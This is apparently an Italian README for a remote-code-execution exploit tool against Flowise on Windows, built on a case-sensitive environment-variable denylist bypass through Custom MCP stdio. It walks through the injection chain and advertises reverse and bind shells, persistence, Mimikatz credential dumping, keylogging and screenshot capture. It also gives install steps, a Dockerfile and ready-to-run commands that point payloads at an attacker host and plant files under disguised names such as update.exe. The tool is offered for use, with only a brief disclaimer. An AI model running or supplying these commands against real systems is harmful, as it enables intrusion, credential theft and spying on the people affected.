Exploit RCE per Windows di Flowise per CVE-2026-58057. Bypassa la validazione delle variabili d'ambiente tramite una falla case-sensitive. Utilizza node_options per iniettare codice arbitrario tramite MCP stdio. Supporta reverse shell, persistenza, upload di file e credential dumping. Solo per test di sicurezza autorizzati.
Questo è un exploit di livello produzione per CVE-2026-58057, una vulnerabilità critica di esecuzione di codice remoto in Flowise su piattaforme Windows. La vulnerabilità deriva dalla validazione delle variabili d'ambiente sensibile alle maiuscole che non riesce a bloccare node_options in minuscolo, consentendo agli aggressori di bypassare la denylist NODE_OPTIONS ed eseguire codice arbitrario tramite la configurazione Custom MCP stdio.
L'exploit dimostra pratiche professionali di ingegneria del software con architettura modulare, gestione completa degli errori e supporto per molteplici tipi di payload.
IMPORTANTE: Questo strumento è fornito esclusivamente per test di sicurezza autorizzati, test di penetrazione e scopi educativi.L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo software.Ottenere sempre la dovuta autorizzazione prima di testare qualsiasi sistema.
# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous: # Only blocks exact uppercase match
raise ValueError(f"Modification not allowed")
L'aggressore autentica su Flowise
Crea/Modifica il nodo Custom MCP stdio
Inietta la variabile d'ambiente node_options in minuscolo
Imposta il valore su --require malicious-loader.js
Node.js esegue il loader quando viene eseguito MCP stdio
Viene ottenuta l'esecuzione di codice arbitrario
✅ Reverse Shell - Connessione di ritorno alla macchina dell'aggressore
✅ Bind Shell - Apre una porta in ascolto sul bersaglio
✅ Command Execution - Esegue comandi di sistema arbitrari
✅ File Upload - Carica file sul sistema bersaglio
✅ Persistence - Molteplici meccanismi di persistenza
✅ Information Gathering - Raccoglie informazioni sul sistema
✅ Credential Dumping - Integrazione con Mimikatz
✅ Screenshot Capture - Acquisisce screenshot del desktop
✅ Keylogger - Installa funzionalità di keylogging
🔐 Molteplici Metodi di Autenticazione - API key o nome utente/password
🔄 Logica di Riprova Automatica - Resiliente ai problemi di rete
🧹 Auto-Pulizia - Rimuove i file loader dal bersaglio
🌐 Multi-Piattaforma - Funziona su Windows/Linux/macOS
🎨 Output Colorato - Leggibilità migliorata
📊 Debug Dettagliato - Logging dettagliato per la risoluzione dei problemi
Python 3.6 o superiore
pip (gestore di pacchetti Python)
# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit
# Install dependencies
pip install -r requirements.txt
# Or minimal installation
pip install requests urllib3
FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]
python3 exploit.py --help
| Opzione | Descrizione | Esempio |
|---|---|---|
-t, --target | URL di Flowise (Obbligatorio) | http://localhost:3000 |
-k, --api-key | API key di Flowise | flowise_abc123... |
-u, --username | Nome utente | admin |
-p, --password | Password | password123 |
| Opzione | Descrizione | Esempio |
|---|---|---|
--payload | Tipo di payload | reverse_shell |
--lhost | Host in ascolto | 192.168.1.100 |
--lport | Porta in ascolto | 4444 |
--command | Comando da eseguire | whoami |
--local-file | File da caricare | payload.exe |
--remote-path | Percorso di salvataggio remoto | C:\\Temp\\update.exe |
| Opzione | Descrizione |
|---|---|
--interactive | Avvia shell interattiva |
--verbose | Abilita output di debug |
--timeout | Timeout della richiesta in secondi |
--retries | Numero di tentativi di ripetizione |
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444 \
--interactive
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload command_exec \
--command "whoami"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload file_upload \
--local-file /path/to/payload.exe \
--remote-path "C:\\ProgramData\\update.exe"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload mimikatz
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload persistence